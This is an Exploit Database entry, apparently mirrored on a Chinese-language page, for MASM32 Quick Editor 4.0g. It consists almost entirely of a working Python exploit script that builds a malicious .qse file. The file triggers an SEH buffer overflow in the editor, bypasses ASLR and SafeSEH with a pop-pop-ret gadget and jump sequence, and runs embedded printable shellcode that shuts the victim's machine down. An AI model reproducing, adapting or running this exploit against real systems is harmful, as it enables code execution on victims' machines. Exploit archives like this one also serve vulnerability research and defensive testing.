MASM321 11 Quick Editor ‘.qeditor’ 4.0g – ‘.qse’ File Buffer Overflow (SEH) (ASLR + SafeSEH Bypass)

• Exploit Database
• 14 阅读

• 作者： St0rn
  日期： 2015-08-17
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/37799/

• #!/usr/bin/env python
  #
  # Exploit Title: MASM32 quick editor .QSE SEH Based Buffer Overflow (ASLR & SAFESEH bypass)
  # Date: 2015-08-15
  # Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com>
  # Twitter: st0rnpentest
  #
  # Vendor Homepage: http://www.masm32.com/
  # Software Link: http://www.masm32.com/masmdl.htm
  # Version: MASM32 11 qeditor 4.0g
  # Tested on: Windows 7
  #
  
  
  from struct import pack
  import sys
  
  # 95 bytes Little Joke shellcode :p (shutdown)
  # The shellcode must be printable
  shellcode=""
  shellcode+="\x89\xE3"
  shellcode+="\xDB\xC2"
  shellcode+="\xD9\x73\xF4"
  shellcode+="\x5E"
  shellcode+="VYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIOKEoDFPNEsFQIYLqEeKjKcIICDDdIdQJNcKrGtFQQJDKGsQJF"
  shellcode+="THdMkIONBPaG3GPGBB2HMKuDCC0OYNnEaMDH9O3LyQOHoJWCzDmP8KGIkLXGnGFIlDlMOOdEnFNQsHgEBJ0PZFHQwKaMKF5OwLCD4D"
  shellcode+="QP5DtJPE7OuP5JvJCMeBmCcDsQQKTQJBDKIBSEDOlQbIKK5MMBwEoJYN4KlHtMYJFDtKuBRKiBXOzBlJuBUIBLIKbPeMqKQEpFxNRP1"
  shellcode+="CjHFGGOTKLNmIpDLKLG2D6O6L2DoKLOpGfNNJqLzQ3GKKdPlMrQoL3NHHnFDOjIyPJNkOSIzFSD4EVCPKaE1FPFKOLQdNPPQHyD6KzQI"
  shellcode+="NJENKKN2FEF9GtDqFbLUBnGhFCEmEGIXQaGPI8Q6LuClDkISG6OkDsOVQSKPIcQJGNQiOfClHmPzNSFNQiL1PHOEDVLNINDUITDCEoCKBBO3DNOKLJAA"
  
  
  nop="\x90"*(1140-35)# Destination of jump: qeditor add 8C opcode (mov in assembly) which crash qeditor
  bypass="\xe2" # with the nop (8C90 90909090) to bypass this we can use different opcodes.
  endnop="\x90"*34# The opcode e2 make the instruction 8ce2 (MOV DX,FS) and the execution flow
  nop+=bypass+endnop# can be continued
   
  
  junk="\x90"*(1704-95) # Junk after shellcode
  padding='\x62'*52 # 52 bytes available after SE Handler
  
  
  jump="\xe9\x14\xf5\xff\xff" # jump to the nop
  nseh="\xeb\xf9\x90\x90" # jump to previous instruction
  seh=pack("<I",0x00406a25) # asciiprint: pop edi pop esi ret (C:\masm32\qeditor.exe)
  
  
  payload=nop+shellcode+junk+jump+nseh+seh+padding
  
  try:
   f=open("evil.qse","w")
   f.write(payload)
   f.close()
   print "Evil QSE script created!\nHack'n'Roll"
  except:
   print "Can't create Evil QSE script :'("
   sys.exit(0)